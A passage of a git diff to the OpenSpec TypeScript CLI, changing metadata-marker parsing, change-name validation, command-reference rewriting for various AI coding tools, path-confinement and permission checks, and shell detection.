* ChangeMetadataSchema, its schema name passes readChangeMetadata's + * listSchemas membership check, AND the schema itself loads via resolveSchema + * (a schema.yaml that exists but does not parse fails status just the same). + * Validate and archive must never honor metadata the rest of the CLI rejects, + * in either direction. The project root for schema resolution is derived from + * changeDir exactly like resolveSchemaForChange (changeDir is + * <root>/openspec/changes/<name> for every root type, including store roots). + * Missing metadata means "not declared"; a marker that cannot be honored + * yields invalidReason so callers can say why. + */ +export function readSkipSpecsMarker(changeDir: string): MetadataMarker { + return readBooleanMarker(changeDir, 'skip_specs'); +} + +/** + * Non-throwing read of the retire_capabilities marker, with exactly the + * semantics `readSkipSpecsMarker` documents above. + * + * Gates the one archive action that removes a file from `openspec/specs/`: when + * a change's REMOVED entries take a capability's last requirement, archive + * deletes the emptied main spec rather than aborting on a spec it cannot write + * (#1302). Declared rather than inferred because the delete is recoverable only + * from git, so it is the author's call. + */ +export function readRetireCapabilitiesMarker(changeDir: string): MetadataMarker { + return readBooleanMarker(changeDir, 'retire_capabilities'); +} + +/** + * Shared implementation for the boolean change-metadata markers, keyed by field + * name. One body rather than two, so a marker can never drift into honoring + * metadata the other rejects - the whole point of the contract described above. + */ +function readBooleanMarker( + changeDir: string, + key: 'skip_specs' | 'retire_capabilities' +): MetadataMarker { + let raw: string; try { - const config = readProjectConfig(projectRoot); - if (config?.schema) { - return config.schema; + raw = fs.readFileSync(path.join(changeDir, METADATA_FILENAME), 'utf-8'); + } catch (err) { + if ((err as NodeJS.ErrnoException)?.code === 'ENOENT') { + return { declared: false }; } + // The file exists but cannot be read (EACCES, EISDIR, ...). Status and + // instructions reject the change outright here, and whether a marker is + // set cannot be determined - fail closed rather than let archive treat + // the change as unmarked while every metadata-reading surface errors. + const message = + err instanceof Error ? err.message : String(err); + return { + declared: false, + invalidReason: `the metadata file cannot be read (${message})`, + }; + } + + let parsed: unknown; + try { + parsed = yaml.parse(raw); } catch { - // If config read fails, fall back to default + // Anchored so a comment like "# maybe add skip_specs later" does not + // claim the marker was set. + const mentioned = new RegExp(`^\\s*(['"]?)${key}\\1\\s*:`, 'm').test(raw); + return mentioned + ? { declared: false, invalidReason: 'the file is not valid YAML' } + : { declared: false }; } - // 4. Default - return 'spec-driven'; + const result = ChangeMetadataSchema.safeParse(parsed); + if (result.success) { + if (result.data[key] !== true) { + return { declared: false }; + } + // Schema loading is checked only when the marker is set: a broken schema + // on an ordinary change is status's problem to report, but honoring a + // marker that status rejects would let validate/archive pass what the + // rest of the CLI refuses to load. The membership check mirrors + // readChangeMetadata (which rejects names like 'spec-driven.yaml' that + // resolveSchema alone would normalize and accept); resolveSchema then + // proves the schema actually parses. Any failure fails closed. + try { + const projectRoot = path.resolve(changeDir, '../../..'); + if (!listSchemas(projectRoot).includes(result.data.schema)) { + return { + declared: false, + invalidReason: `schema: unknown schema '${result.data.schema}'`, + }; + } + resolveSchema(result.data.schema, projectRoot); + } catch (err) { + const message = err instanceof Error ? err.message : String(err); + return { declared: false, invalidReason: message }; + } + return { declared: true }; + } + + // Key presence, not value: skip_specs: "yes" must surface as unhonorable, + // not vanish while the zero-delta guidance tells the user to set the very + // marker they set. An explicit skip_specs: false is the opposite of setting + // the marker, so it must not drag unrelated metadata problems into + // validate - the change simply is not marked. + const markerMentioned = + typeof parsed === 'object' && + parsed !== null && + key in parsed && + (parsed as Record<string, unknown>)[key] !== false; + if (markerMentioned) { + const first = result.error.issues[0]; + const where = first.path.length > 0 ? `${first.path.join('.')}: ` : ''; + return { declared: false, invalidReason: `${where}${first.message}` }; + } + return { declared: false }; } diff --git a/src/utils/change-utils.ts b/src/utils/change-utils.ts index 671a92b796..f73ba61bce 100644 --- a/src/utils/change-utils.ts +++ b/src/utils/change-utils.ts @@ -1,7 +1,10 @@ import path from 'path'; import { FileSystemUtils } from './file-system.js'; import { writeChangeMetadata, validateSchemaName } from './change-metadata.js'; +import { formatLocalDate } from './date.js'; import { readProjectConfig } from '../core/project-config.js'; +import { isKebabId } from '../core/id.js'; +import type { ChangeMetadata } from '../core/change-metadata/index.js'; const DEFAULT_SCHEMA = 'spec-driven'; @@ -11,6 +14,12 @@ const DEFAULT_SCHEMA = 'spec-driven'; export interface CreateChangeOptions { /** The workflow schema to use (default: 'spec-driven') */ schema?: string; + /** Default schema to use when no explicit schema or project config is present */ + defaultSchema?: string; + /** Directory that should contain the change directories */ + changesDir?: string; + /** Additional metadata to persist in the change's .openspec.yaml */ + metadata?: Partial<Pick<ChangeMetadata, 'goal' | 'affected_areas' | 'initiative'>>; } /** @@ -19,6 +28,8 @@ export interface CreateChangeOptions { export interface CreateChangeResult { /** The schema that was actually used (resolved from options, config, or default) */ schema: string; + /** Absolute path to the created change directory */ + changeDir: string; } /** @@ -32,29 +43,38 @@ export interface ValidationResult { /** * Validates that a change name follows kebab-case conventions. * - * Valid names: - * - Start with a lowercase letter + * Uses OpenSpec's shared kebab-id grammar (the same one store ids and change + * metadata ids use), so a change name may: + * - Start with a lowercase letter or a digit * - Contain only lowercase letters, numbers, and hyphens - * - Do not start or end with a hyphen - * - Do not contain consecutive hyphens + * - Not start or end with a hyphen + * - Not contain consecutive hyphens + * + * A leading digit is allowed so ordering conventions like `100-add-feature` or + * `00001-add-auth` work; archive already treats such prefixes as a supported + * convention (see ARCHIVE_DATE_PREFIX_PATTERN). * * @param name - The change name to validate * @returns Validation result with `valid: true` or `valid: false` with an error message * * @example * validateChangeName('add-auth') // { valid: true } + * validateChangeName('100-add-feature') // { valid: true } * validateChangeName('Add-Auth') // { valid: false, error: '...' } */ export function validateChangeName(name: string): ValidationResult { - // Pattern: starts with lowercase letter, followed by lowercase letters/numbers, - // optionally followed by hyphen + lowercase letters/numbers (repeatable) - const kebabCasePattern = /^[a-z][a-z0-9]*(-[a-z0-9]+)*$/; - if (!name) { return { valid: false, error: 'Change name cannot be empty' }; } - if (!kebabCasePattern.test(name)) { + // Filesystem directory components cap at 255 bytes and archive prepends a + // date prefix; bounding here turns the failure into a validation message + // instead of a raw ENAMETOOLONG from mkdir. + if (name.length > 200) { + return { valid: false, error: 'Change name is too long (200 characters max)' }; + } + + if (!isKebabId(name)) { // Provide specific error messages for common mistakes if (/[A-Z]/.test(name)) { return { valid: false, error: 'Change name must be lowercase (use kebab-case)' }; @@ -77,9 +97,6 @@ export function validateChangeName(name: string): ValidationResult { if (/[^a-z0-9-]/.test(name)) { return { valid: false, error: 'Change name can only contain lowercase letters, numbers, and hyphens' }; } - if (/^[0-9]/.test(name)) { - return { valid: false, error: 'Change name must start with a letter' }; - } return { valid: false, error: 'Change name must follow kebab-case convention (e.g., add-auth, refactor-db)' }; } @@ -120,7 +137,9 @@ export async function createChange( throw new Error(validation.error); } - // Determine schema: explicit option → project config → hardcoded default + const defaultSchema = options.defaultSchema ?? DEFAULT_SCHEMA; + + // Determine schema: explicit option → project config → supplied default let schemaName: string; if (options.schema) { schemaName = options.schema; @@ -128,10 +147,10 @@ export async function createChange( // Try to read from project config try { const config = readProjectConfig(projectRoot); - schemaName = config?.schema ?? DEFAULT_SCHEMA; + schemaName = config?.schema ?? defaultSchema; } catch { // If config read fails, use default - schemaName = DEFAULT_SCHEMA; + schemaName = defaultSchema; } } @@ -139,22 +158,40 @@ export async function createChange( validateSchemaName(schemaName, projectRoot); // Build the change directory path - const changeDir = path.join(projectRoot, 'openspec', 'changes', name); + const changeDir = path.join(options.changesDir ?? path.join(projectRoot, 'openspec', 'changes'), name); // Check if change already exists if (await FileSystemUtils.directoryExists(changeDir)) { throw new Error(`Change '${name}' already exists at ${changeDir}`); } + // Creating a change may scaffold or complete the root itself (an + // implicit root, or a config-only/incomplete clone). Never leave a + // half-root behind that doctor immediately calls unhealthy: ensure + // specs/ and changes/archive/ exist, and write a config only when + // none exists. The config records the PROJECT default schema, never + // a one-change --schema override. + const openspecDir = path.join(projectRoot, 'openspec'); + // Create the directory (including parent directories if needed) await FileSystemUtils.createDirectory(changeDir); + await FileSystemUtils.createDirectory(path.join(openspecDir, 'specs')); + await FileSystemUtils.createDirectory(path.join(openspecDir, 'changes', 'archive')); + const configPath = path.join(openspecDir, 'config.yaml'); + const configYmlPath = path.join(openspecDir, 'config.yml'); + if ( + !(await FileSystemUtils.fileExists(configPath)) && + !(await FileSystemUtils.fileExists(configYmlPath)) + ) { + await FileSystemUtils.writeFile(configPath, `schema: ${defaultSchema}\n`); + } // Write metadata file with schema and creation date - const today = new Date().toISOString().split('T')[0]; writeChangeMetadata(changeDir, { schema: schemaName, - created: today, + created: formatLocalDate(), + ...options.metadata, }, projectRoot); - return { schema: schemaName }; + return { schema: schemaName, changeDir }; } diff --git a/src/utils/ci.ts b/src/utils/ci.ts new file mode 100644 index 0000000000..87be4565a1 --- /dev/null +++ b/src/utils/ci.ts @@ -0,0 +1,19 @@ +/** + * CI environment detection shared by telemetry and the version check. + * + * Providers set CI to "true", "1", "yes", etc. Only an explicit off-value + * counts as "not CI", so an unknown value still suppresses outbound requests + * rather than surprising a build. + */ + +const CI_DISABLED_VALUES = new Set(['', 'false', '0', 'no', 'off']); + +/** + * True when `CI` is set to anything other than an explicit off-value. + */ +export function isCiEnvironment( + env: NodeJS.ProcessEnv = process.env +): boolean { + const value = env.CI; + return value !== undefined && !CI_DISABLED_VALUES.has(value.trim().toLowerCase()); +} diff --git a/src/utils/command-references.ts b/src/utils/command-references.ts index bfa49b9ff0..d4cbf00d71 100644 --- a/src/utils/command-references.ts +++ b/src/utils/command-references.ts @@ -4,17 +4,219 @@ * Utilities for transforming command references to tool-specific formats. */ +// Type-only imports: a value import would close a module cycle +// (command-generation imports this file). Callers resolve the concrete +// capability and invocation style and pass them in. +import type { CommandSurfaceCapability } from '../core/command-surface.js'; +import type { CommandInvocation } from '../core/command-generation/invocation.js'; +// Value import of a pure, dependency-free helper: invocation.ts imports only +// `path` and a type, so this does not close the cycle the note above guards. +import { + formatCommandInvocation, + needsInvocationRewrite, +} from '../core/command-generation/invocation.js'; + /** - * Transforms colon-based command references to hyphen-based format. - * Converts `/opsx:` patterns to `/opsx-` for tools that use hyphen syntax. + * Rewrites the canonical `/opsx:<command>` references that command bodies and + * skill templates are authored with into the form one tool actually registers + * — `/opsx-<command>` for tools that name the command by filename, + * `@opsx-<command>` for Amazon Q's prompt library. + * + * Only known command ids are rewritten, matching how + * `transformToSkillReferences` leaves unrecognized references alone, so a + * mistyped or invented `/opsx:<something>` is left as written rather than + * silently reshaped into a command that does not exist either. * * @param text - The text containing command references - * @returns Text with command references transformed to hyphen format + * @param invocation - The tool's invocation, from resolveCommandInvocation() + * @returns Text with command references spelled the tool's way * * @example - * transformToHyphenCommands('/opsx:new') // returns '/opsx-new' - * transformToHyphenCommands('Use /opsx:apply to implement') // returns 'Use /opsx-apply to implement' + * transformCommandInvocations('/opsx:new', { style: 'flat', prefix: '/' }) // '/opsx-new' + * transformCommandInvocations('/opsx:new', { style: 'flat', prefix: '@' }) // '@opsx-new' + */ +export function transformCommandInvocations( + text: string, + invocation: CommandInvocation +): string { + return text.replace(/\/opsx:([a-z-]+)/g, (match, commandId: string) => + commandId in COMMAND_TO_SKILL_NAME + ? formatCommandInvocation(invocation, commandId) + : match + ); +} + +/** + * Maps command short names to their skill names. + * Keep in sync with WORKFLOW_TO_SKILL_DIR, which exists in both + * src/core/profile-sync-drift.ts (exported) and src/core/init.ts (local copy). + */ +const COMMAND_TO_SKILL_NAME: Record<string, string> = { + 'explore': 'openspec-explore', + 'new': 'openspec-new-change', + 'continue': 'openspec-continue-change', + 'apply': 'openspec-apply-change', + 'update': 'openspec-update-change', + 'ff': 'openspec-ff-change', + 'sync': 'openspec-sync-specs', + 'archive': 'openspec-archive-change', + 'bulk-archive': 'openspec-bulk-archive-change', + 'verify': 'openspec-verify-change', + 'onboard': 'openspec-onboard', + 'propose': 'openspec-propose', +}; + +/** + * Tools whose skill invocation uses a non-default prefix. The default is `/` + * (e.g. `/openspec-propose`); Kimi Code invokes skills as `/skill:<name>` and + * Codex CLI as `$<name>` — a `/<name>` form Codex does not recognize + * (see docs/supported-tools.md). + */ +const SKILL_INVOCATION_PREFIX: Record<string, string> = { + kimi: '/skill:', + codex: '$', +}; + +/** + * Tools that have no slash-command surface at all: skills are matched + * automatically or invoked by natural-language prompts, never by typing a + * `/<name>` command. Rovo Dev CLI is such a tool — `/skills` only manages + * skills, and any `/openspec-*` form would be a dead command (see + * docs/supported-tools.md). References for these tools are spelled as prose + * ("the openspec-propose skill") so generated content never tells the user to + * type a command their CLI does not register. + */ +const NATURAL_LANGUAGE_SKILL_TOOLS = new Set<string>(['rovodev']); + +/** + * Whether a tool references skills by natural language rather than a slash + * command (see NATURAL_LANGUAGE_SKILL_TOOLS). + */ +export function usesNaturalLanguageSkillReferences(toolId: string): boolean { + return NATURAL_LANGUAGE_SKILL_TOOLS.has(toolId); +} + +function replaceCommandsWithNaturalLanguageSkillReferences(text: string): string { + return text.replace(/\/opsx:([a-z-]+)/g, (match, commandId: string) => { + const skillName = COMMAND_TO_SKILL_NAME[commandId]; + return skillName === undefined ? match : `the ${skillName} skill`; + }); +} + +function replaceCommandsWithSkillReferences(text: string, prefix: string): string { + return text.replace(/\/opsx:([a-z-]+)/g, (match, commandId: string) => { + const skillName = COMMAND_TO_SKILL_NAME[commandId]; + return skillName === undefined ? match : `${prefix}${skillName}`; + }); +} + +/** + * Keeps Codex's `$<name>` spelling first while making its canonical shared + * `.agents` tree usable by agents that invoke the same skills with `/<name>`. + */ +export function transformToCodexCompatibleSkillReferences(text: string): string { + return text.replace(/\/opsx:([a-z-]+)/g, (match, commandId: string) => { + const skillName = COMMAND_TO_SKILL_NAME[commandId]; + return skillName === undefined + ? match + : `$${skillName} (Codex) or /${skillName} (other agents)`; + }); +} + +/** + * Transforms command references to skill references using the default `/` + * invocation prefix. Converts `/opsx:<command>` patterns to + * `/openspec-<skill>` so that generated skills do not reference commands + * that were never generated. Used for channels that are not tied to one + * tool (e.g. the skills.sh distribution); tool-targeted generation should + * go through getSkillReferenceTransformer instead. + * + * Unknown command references are left unchanged. + * + * @param text - The text containing command references + * @returns Text with command references transformed to skill references + * + * @example + * transformToSkillReferences('/opsx:apply') // returns '/openspec-apply-change' + * transformToSkillReferences('Use /opsx:archive next') // returns 'Use /openspec-archive-change next' + */ +export function transformToSkillReferences(text: string): string { + return replaceCommandsWithSkillReferences(text, '/'); +} + +/** + * Returns the skill-reference transformer for a specific tool, honoring the + * tool's documented skill invocation syntax (e.g. Kimi Code's + * `/skill:openspec-propose`). Tools with no slash surface (e.g. Rovo Dev) get + * natural-language references ("the openspec-propose skill"); everything else + * falls back to the default `/openspec-*` form. + * + * @param toolId - The AI tool identifier (e.g. 'kimi', 'vibe', 'rovodev') + * @returns A transformer converting `/opsx:*` references to skill invocations + */ +export function getSkillReferenceTransformer(toolId: string): (text: string) => string { + if (usesNaturalLanguageSkillReferences(toolId)) { + return replaceCommandsWithNaturalLanguageSkillReferences; + } + const prefix = SKILL_INVOCATION_PREFIX[toolId]; + if (prefix === undefined) { + return transformToSkillReferences; + } + return (text: string) => replaceCommandsWithSkillReferences(text, prefix); +} + +/** + * Selects the command-reference transformer for a skill generation target. + * + * Skill references are used whenever the tool ends up without `/opsx:*` + * commands — because delivery is skills-only, because the tool has no command + * surface at all (capability 'none', e.g. Kimi Code or Mistral Vibe), or + * because the tool invokes skills directly and OpenSpec generates no command + * files for it (capability 'skills-invocable', i.e. Codex) — so those skills + * never point at commands that were not generated. + * + * When commands are generated, the spelling follows the tool's invocation: a + * `flat` adapter names the command by filename (`.cursor/commands/opsx-apply.md` + * → `/opsx-apply`), a `namespaced` adapter puts it in an `opsx/` directory + * (`.claude/commands/opsx/apply.md` → `/opsx:apply`), and a non-slash prefix + * wraps it further (`.amazonq/prompts/opsx-apply.md` → `@opsx-apply`). Passing + * the invocation in keeps this module free of a hand-maintained tool list — + * the list drifted and left 16 tools advertising commands their palettes never + * registered (#727, #1307). + * + * Devin is the one tool that takes skill references even though its commands + * are generated: only Devin Desktop reads `.devin/workflows/`, so a workflow + * reference is dead text for anyone on Devin Local, while the `/openspec-*` + * skills work on both agents. Under commands-only delivery there are no Devin + * skills to point at, so it falls through to the invocation rewrite below and + * gets the `/opsx-<id>` form its workflow filenames register. + * + * @param toolId - The AI tool identifier (e.g. 'claude', 'opencode', 'pi') + * @param delivery - The configured delivery mode + * @param capability - The tool's command surface capability + * @param invocation - How the tool's generated commands are invoked, from + * resolveCommandInvocation(); undefined for tools with no command + * adapter. Required rather than optional so a caller that forgets it + * fails to compile instead of silently getting the canonical form. + * @returns The transformer to pass to generateSkillContent, or undefined when + * the tool already answers to the canonical `/opsx:<id>` */ -export function transformToHyphenCommands(text: string): string { - return text.replace(/\/opsx:/g, '/opsx-'); +export function getTransformerForTool( + toolId: string, + delivery: 'both' | 'skills' | 'commands', + capability: CommandSurfaceCapability, + invocation: CommandInvocation | undefined +): ((text: string) => string) | undefined { + if (delivery === 'skills' || capability !== 'adapter-backed') { + return toolId === 'codex' + ? transformToCodexCompatibleSkillReferences + : getSkillReferenceTransformer(toolId); + } + if (toolId === 'devin' && delivery === 'both') { + return getSkillReferenceTransformer(toolId); + } + if (invocation !== undefined && needsInvocationRewrite(invocation)) { + return (text: string) => transformCommandInvocations(text, invocation); + } + return undefined; } diff --git a/src/utils/date.ts b/src/utils/date.ts new file mode 100644 index 0000000000..e76a54c1bc --- /dev/null +++ b/src/utils/date.ts @@ -0,0 +1,13 @@ +/** + * Formats a date using the effective local time zone of the Node.js process. + * + * The result is locale-independent and suitable for date-only metadata and + * path prefixes. + */ +export function formatLocalDate(date: Date = new Date()): string { + const year = date.getFullYear(); + const month = String(date.getMonth() + 1).padStart(2, '0'); + const day = String(date.getDate()).padStart(2, '0'); + + return `${year}-${month}-${day}`; +} diff --git a/src/utils/file-system.ts b/src/utils/file-system.ts index 6ee7cda6bd..5cf2ef8594 100644 --- a/src/utils/file-system.ts +++ b/src/utils/file-system.ts @@ -4,6 +4,40 @@ import path from 'path'; const fs = nodeFs.promises; const { constants: fsConstants } = nodeFs; +function hasOwnerGroupOrOtherWriteBit(stats: nodeFs.Stats): boolean { + return (stats.mode & 0o222) !== 0; +} + +function hasOwnerGroupOrOtherExecuteBit(stats: nodeFs.Stats): boolean { + return (stats.mode & 0o111) !== 0; +} + +async function hasWritableModeAndAccess(targetPath: string): Promise<boolean> { + try { + const stats = await fs.stat(targetPath); + + // POSIX root can often write despite mode bits, but OpenSpec should respect + // explicit read-only file/directory modes when deciding whether an install + // path is user-writable. This also keeps permission checks deterministic in + // root-run CI containers. On Windows, chmod mode bits are not authoritative, + // so rely on fs.access below. + if (process.platform !== 'win32' && !hasOwnerGroupOrOtherWriteBit(stats)) { + return false; + } + if (process.platform !== 'win32' && stats.isDirectory() && !hasOwnerGroupOrOtherExecuteBit(stats)) { + return false; + } + + const accessMode = stats.isDirectory() + ? fsConstants.W_OK | fsConstants.X_OK + : fsConstants.W_OK; + await fs.access(targetPath, accessMode); + return true; + } catch { + return false; + } +} + function isMarkerOnOwnLine(content: string, markerIndex: number, markerLength: number): boolean { let leftIndex = markerIndex - 1; while (leftIndex >= 0 && content[leftIndex] !== '\n') { @@ -70,6 +104,87 @@ export class FileSystemUtils { } } + /** + * Refuses a target that leaves an allowed directory, including through an + * existing symlink in either the target or one of its parent directories. + * Missing suffixes are resolved from their nearest existing ancestor. + */ + static assertPathWithin(allowedDirectory: string, targetPath: string): void { + const resolvedDirectory = path.resolve(allowedDirectory); + const resolvedTarget = path.resolve(targetPath); + + if (!this.isPathWithin(resolvedDirectory, resolvedTarget)) { + throw new Error(`Path is outside the allowed directory: ${targetPath}`); + } + + const canonicalDirectory = this.canonicalizePotentialPath(resolvedDirectory); + const canonicalTarget = this.canonicalizePotentialPath(resolvedTarget); + if (!this.isPathWithin(canonicalDirectory, canonicalTarget)) { + throw new Error(`Path is outside the allowed directory: ${targetPath}`); + } + } + + static resolveProjectArtifactPath(projectPath: string, artifactPath: string): string { + if (path.isAbsolute(artifactPath)) { + throw new Error(`Refusing to manage an artifact outside the project: ${artifactPath}`); + } + + const targetPath = path.join(projectPath, artifactPath); + this.assertPathWithin(projectPath, targetPath); + return targetPath; + } + + static assertProjectArtifactPath(projectPath: string, targetPath: string): void { + this.assertPathWithin(projectPath, targetPath); + } + + private static isPathWithin(allowedDirectory: string, targetPath: string): boolean { + const relative = path.relative(allowedDirectory, targetPath); + return ( + relative === '' || + (relative !== '..' && + !relative.startsWith(`..${path.sep}`) && + !path.isAbsolute(relative)) + ); + } + + private static canonicalizePotentialPath(targetPath: string): string { + let existingPath = targetPath; + const missingSegments: string[] = []; + + while (true) { + try { + // lstat distinguishes a missing path from a dangling symlink. A + // dangling link cannot be proven confined, so realpath must fail it. + nodeFs.lstatSync(existingPath); + const canonicalExisting = nodeFs.realpathSync.native(existingPath); + return path.resolve(canonicalExisting, ...missingSegments); + } catch (error) { + const code = (error as NodeJS.ErrnoException).code; + if (code !== 'ENOENT') { + throw error; + } + + try { + if (nodeFs.lstatSync(existingPath).isSymbolicLink()) { + throw new Error(`Cannot verify dangling symbolic link: ${existingPath}`); + } + } catch (lstatError) { + if ((lstatError as NodeJS.ErrnoException).code !== 'ENOENT') { + throw lstatError; + } + } + + const parent = path.dirname(existingPath); + if (parent === existingPath) { + throw new Error(`Cannot resolve an existing parent for ${targetPath}`); + } + missingSegments.unshift(path.basename(existingPath)); + existingPath = parent; + } + } + } + private static isWindowsBasePath(basePath: string): boolean { return /^[A-Za-z]:[\\/]/.test(basePath) || basePath.startsWith('\\'); } @@ -152,18 +267,15 @@ export class FileSystemUtils { try { const stats = await fs.stat(filePath); - if (!stats.isFile()) { - return true; + if (stats.isDirectory()) { + return hasWritableModeAndAccess(filePath); } - // On Windows, stats.mode doesn't reliably indicate write permissions. - // Use fs.access with W_OK to check actual write permissions cross-platform. - try { - await fs.access(filePath, fsConstants.W_OK); + if (!stats.isFile()) { return true; - } catch { - return false; } + + return hasWritableModeAndAccess(filePath); } catch (error: any) { if (error.code === 'ENOENT') { // File doesn't exist - find first existing parent directory and check its permissions @@ -175,13 +287,8 @@ export class FileSystemUtils { return false; } - // Check if the existing parent directory is writable - try { - await fs.access(existingDir, fsConstants.W_OK); - return true; - } catch { - return false; - } + // Check if the existing parent directory is writable. + return hasWritableModeAndAccess(existingDir); } console.debug(`Unable to determine write permissions for ${filePath}: ${error.message}`); diff --git a/src/utils/index.ts b/src/utils/index.ts index e77ddf4766..d106653a15 100644 --- a/src/utils/index.ts +++ b/src/utils/index.ts @@ -15,4 +15,9 @@ export { export { FileSystemUtils, removeMarkerBlock } from './file-system.js'; // Command reference utilities -export { transformToHyphenCommands } from './command-references.js'; \ No newline at end of file +export { + transformCommandInvocations, + transformToSkillReferences, + getSkillReferenceTransformer, + getTransformerForTool, +} from './command-references.js'; \ No newline at end of file diff --git a/src/utils/interactive.ts b/src/utils/interactive.ts index aeb9fde9af..7b6792fe47 100644 --- a/src/utils/interactive.ts +++ b/src/utils/interactive.ts @@ -27,3 +27,37 @@ export function isInteractive(value?: boolean | InteractiveOptions): boolean { return !!process.stdin.isTTY; } +/** + * True when a prompt failed because no answer could be read — an agent or a + * script that ran the command with stdin closed, a CI job, or a shell whose + * stdin is not a terminal. @inquirer rejects those with `User force closed + * the prompt with 0 null`, which is accurate and useless: it names no flag + * and no next step (#1479). + * + * Two things it deliberately is not: + * + * - It is not a substitute for `isInteractive()`. This classifies a prompt + * that has *already failed*, so piped answers are unaffected: an answer + * that arrives resolves the prompt and never reaches this check. Refusing + * to prompt up front would break `printf 'y\n' | openspec archive ...`, + * which works today. + * - It is not a cancellation check. Ctrl-C raises the same error class, and + * it reaches a process whose stdin is a pipe just as easily as one at a + * terminal, so the SIGINT signal - not the terminal - is what proves + * somebody was there and chose to quit. + * + * Beyond that it defers to `isInteractive()`, so `CI`, `OPEN_SPEC_INTERACTIVE=0` + * and `--no-interactive` count even when a runner allocated a pty. + */ +export function isNonInteractivePromptError( + error: unknown, + value?: boolean | InteractiveOptions +): boolean { + if (!(error instanceof Error)) return false; + const failedPrompt = + error.name === 'ExitPromptError' || error.message.includes('force closed the prompt'); + if (!failedPrompt) return false; + if (error.message.includes('SIGINT')) return false; + return !isInteractive(value); +} + diff --git a/src/utils/item-discovery.ts b/src/utils/item-discovery.ts index 1a86c3aed9..65d5b45fab 100644 --- a/src/utils/item-discovery.ts +++ b/src/utils/item-discovery.ts @@ -1,22 +1,26 @@ import { promises as fs } from 'fs'; import path from 'path'; +import { discoverSpecFiles } from './spec-discovery.js'; +/** + * Returns the ids of active changes: every directory under openspec/changes/ + * except the archive and hidden directories. + * + * A change is resolved by its directory alone - the same rule `list`, + * `status`, `instructions` and `validate` use (`getAvailableChanges`). + * Requiring proposal.md here made `openspec show` and shell completion miss + * changes those commands resolve: `openspec new change <name>` scaffolds only + * `.openspec.yaml`, and a custom schema need not define a proposal artifact at + * all (#1161). + */ export async function getActiveChangeIds(root: string = process.cwd()): Promise<string[]> { const changesPath = path.join(root, 'openspec', 'changes'); try { const entries = await fs.readdir(changesPath, { withFileTypes: true }); - const result: string[] = []; - for (const entry of entries) { - if (!entry.isDirectory() || entry.name.startsWith('.') || entry.name === 'archive') continue; - const proposalPath = path.join(changesPath, entry.name, 'proposal.md'); - try { - await fs.access(proposalPath); - result.push(entry.name); - } catch { - // skip directories without proposal.md - } - } - return result.sort(); + return entries + .filter((entry) => entry.isDirectory() && entry.name !== 'archive' && !entry.name.startsWith('.')) + .map((entry) => entry.name) + .sort(); } catch { return []; } @@ -24,41 +28,26 @@ export async function getActiveChangeIds(root: string = process.cwd()): Promise< export async function getSpecIds(root: string = process.cwd()): Promise<string[]> { const specsPath = path.join(root, 'openspec', 'specs'); - const result: string[] = []; - try { - const entries = await fs.readdir(specsPath, { withFileTypes: true }); - for (const entry of entries) { - if (!entry.isDirectory() || entry.name.startsWith('.')) continue; - const specFile = path.join(specsPath, entry.name, 'spec.md'); - try { - await fs.access(specFile); - result.push(entry.name); - } catch { - // ignore - } - } - } catch { - // ignore - } - return result.sort(); + const discovered = await discoverSpecFiles(specsPath); + return discovered.map((spec) => spec.id); } +/** + * Returns the ids of archived changes: every directory under + * openspec/changes/archive/ except hidden directories. + * + * Resolved by directory for the same reason as `getActiveChangeIds`: a change + * archived from a schema without a proposal artifact has no proposal.md, and + * gating on it hid those entries from shell completion. + */ export async function getArchivedChangeIds(root: string = process.cwd()): Promise<string[]> { const archivePath = path.join(root, 'openspec', 'changes', 'archive'); try { const entries = await fs.readdir(archivePath, { withFileTypes: true }); - const result: string[] = []; - for (const entry of entries) { - if (!entry.isDirectory() || entry.name.startsWith('.')) continue; - const proposalPath = path.join(archivePath, entry.name, 'proposal.md'); - try { - await fs.access(proposalPath); - result.push(entry.name); - } catch { - // skip directories without proposal.md - } - } - return result.sort(); + return entries + .filter((entry) => entry.isDirectory() && !entry.name.startsWith('.')) + .map((entry) => entry.name) + .sort(); } catch { return []; } diff --git a/src/utils/shell-detection.ts b/src/utils/shell-detection.ts index ae9173b343..1a5987cac3 100644 --- a/src/utils/shell-detection.ts +++ b/src/utils/shell-detection.ts @@ -1,3 +1,5 @@ +import { execFileSync } from 'node:child_process'; + /** * Supported shell types for completion generation */ @@ -14,25 +16,79 @@ export interface ShellDetectionResult { } /** - * Detects the current user's shell based on environment variables + * Map a raw shell name/path to a supported shell, if any. + */ +function matchSupportedShell(name: string): SupportedShell | undefined { + // Match the executable basename exactly so lookalikes such as `fish-lsp` or + // `bash-language-server` don't get mistaken for the shell itself. Login + // shells report a leading dash (e.g. `-zsh`), so strip it first. + const executable = name.trim().toLowerCase().split('/').pop()?.replace(/^-/, ''); + if (executable === 'zsh') return 'zsh'; + if (executable === 'bash') return 'bash'; + if (executable === 'fish') return 'fish'; + return undefined; +} + +/** + * Detect the interactive shell from the parent process. + * + * `process.env.SHELL` is only the login shell, so users whose interactive shell + * differs from it (e.g. running fish while their login shell is bash) are + * misdetected. Inspecting the parent process reflects the shell that actually + * launched openspec. POSIX-only and best-effort — any failure returns undefined + * so the caller falls back to `$SHELL`. + * + * @returns The supported shell running as the parent process, or undefined + */ +function detectShellFromParentProcess(): SupportedShell | undefined { + // `ps` is POSIX-only; Windows shells are handled via PSModulePath/COMSPEC. + if (process.platform === 'win32') { + return undefined; + } + + const ppid = process.ppid; + if (!ppid || ppid <= 1) { + return undefined; + } + + try { + const comm = execFileSync('ps', ['-p', String(ppid), '-o', 'comm='], { + encoding: 'utf8', + timeout: 1000, + }).trim(); + + if (!comm) { + return undefined; + } + + // Only trust the parent process when it maps to a supported shell; an + // unrelated parent (node, npm, sudo, a pager) falls through to `$SHELL`. + return matchSupportedShell(comm); + } catch { + return undefined; + } +} + +/** + * Detects the current user's shell based on the parent process and environment * * @returns Detection result with supported shell and raw detected name */ export function detectShell(): ShellDetectionResult { - // Try SHELL environment variable first (Unix-like systems) + // Prefer the actual running shell (parent process) over `$SHELL`, which only + // reflects the login shell and misses users whose interactive shell differs. + const parentShell = detectShellFromParentProcess(); + if (parentShell) { + return { shell: parentShell, detected: parentShell }; + } + + // Try SHELL environment variable next (Unix-like systems) const shellPath = process.env.SHELL; if (shellPath) { - const shellName = shellPath.toLowerCase(); - - if (shellName.includes('zsh')) { - return { shell: 'zsh', detected: 'zsh' }; - } - if (shellName.includes('bash')) { - return { shell: 'bash', detected: 'bash' }; - } - if (shellName.includes('fish')) { - return { shell: 'fish', detected: 'fish' }; + const supported = matchSupportedShell(shellPath); + if (supported) { + return { shell: supported, detected: supported }; } // Shell detected but not supported diff --git a/src/utils/spec-discovery.ts b/src/utils/spec-discovery.ts new file mode 100644 index 0000000000..ab6b8a5eb3 --- /dev/null +++ 